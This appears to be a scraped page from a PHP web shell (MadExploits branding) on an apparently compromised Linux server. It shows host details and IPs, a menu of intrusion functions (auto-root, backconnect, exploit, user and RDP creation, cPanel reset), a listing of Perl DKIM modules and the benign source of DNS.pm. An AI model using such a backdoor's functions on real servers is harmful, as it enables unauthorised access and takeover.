Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
vendor_perl /
Mail /
DKIM /
[ HOME SHELL ]
Name
Size
Permission
Action
Algorithm
[ DIR ]
drwxr-xr-x
Canonicalization
[ DIR ]
drwxr-xr-x
AuthorDomainPolicy.pm
7.74
KB
-rw-r--r--
Common.pm
3.52
KB
-rw-r--r--
DNS.pm
2.69
KB
-rw-r--r--
DkPolicy.pm
6.66
KB
-rw-r--r--
DkSignature.pm
8.75
KB
-rw-r--r--
DkimPolicy.pm
7.14
KB
-rw-r--r--
Key.pm
1.64
KB
-rw-r--r--
KeyValueList.pm
4.19
KB
-rw-r--r--
MessageParser.pm
2.13
KB
-rw-r--r--
Policy.pm
5.57
KB
-rw-r--r--
PrivateKey.pm
3.82
KB
-rw-r--r--
PublicKey.pm
9.85
KB
-rw-r--r--
Signature.pm
20.51
KB
-rw-r--r--
Signer.pm
16.26
KB
-rw-r--r--
SignerPolicy.pm
2.81
KB
-rw-r--r--
TextWrap.pm
7.04
KB
-rw-r--r--
Verifier.pm
21.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DNS.pm
#!/usr/bin/perl # Copyright 2007 Messiah College. All rights reserved. # Jason Long <jlong@messiah.edu> use strict; use warnings; # This class contains a method to perform synchronous DNS queries. # Hopefully some day it will have a method to perform # asynchronous DNS queries. package Mail::DKIM::DNS; use Net::DNS; our $TIMEOUT = 10; # query- returns a list of RR objects # or an empty list if the domain record does not exist # (e.g. in the case of NXDOMAIN or NODATA) # or throws an error on a DNS query time-out or other transient error # (e.g. SERVFAIL) # # if an empty list is returned, $@ is also set to a string explaining # why no records were returned (e.g. "NXDOMAIN"). # sub query { my ($domain, $type) = @_; my $rslv = Net::DNS::Resolver->new() or die "can't create DNS resolver"; # # perform the DNS query # if the query takes too long, we should generate an error # my $resp; my $remaining_time = alarm(0); # check time left, stop the timer my $deadline = time + $remaining_time; eval { # set a 10 second timeout local $SIG{ALRM} = sub { die "DNS query timeout for $domain\n" }; alarm $TIMEOUT; # the query itself could cause an exception, which would prevent # us from resetting the alarm before leaving the eval {} block # so we wrap the query in a nested eval {} block eval { $resp = $rslv->query($domain, $type); }; my $E = $@; alarm 0; die $E if $E; }; my $E = $@; alarm 0; # restart the timer if it was active if ($remaining_time > 0) { my $dt = $deadline - time; # make sure the timer expiration will trigger a signal, # even at the expense of stretching the interval by one second alarm($dt < 1 ? 1 : $dt); } die $E if $E; if ($resp) { my @result = grep { lc $_->type eq lc $type } $resp->answer; return @result if @result; } $@ = $rslv->errorstring; return () if ($@ eq "NOERROR" || $@ eq "NXDOMAIN"); die "DNS error: $@\n"; } # query_async() - perform a DNS query asynchronously # # my $waiter = query_async("example.org", "TXT", # Callbacks => { # Success => \&on_success, # Error => \&on_error, # }, # ); # my $result = $waiter->(); # sub query_async { my ($domain, $type, %prms) = @_; my $callbacks = $prms{Callbacks} || {}; my $on_success = $callbacks->{Success} || sub { $_[0] }; my $on_error = $callbacks->{Error} || sub { die $_[0] }; my $waiter = sub { my @resp; my $warning; eval { @resp = query($domain, $type); $warning = $@; undef $@; }; $@ and return $on_error->($@); $@ = $warning; return $on_success->(@resp); }; return $waiter; } 1;
Close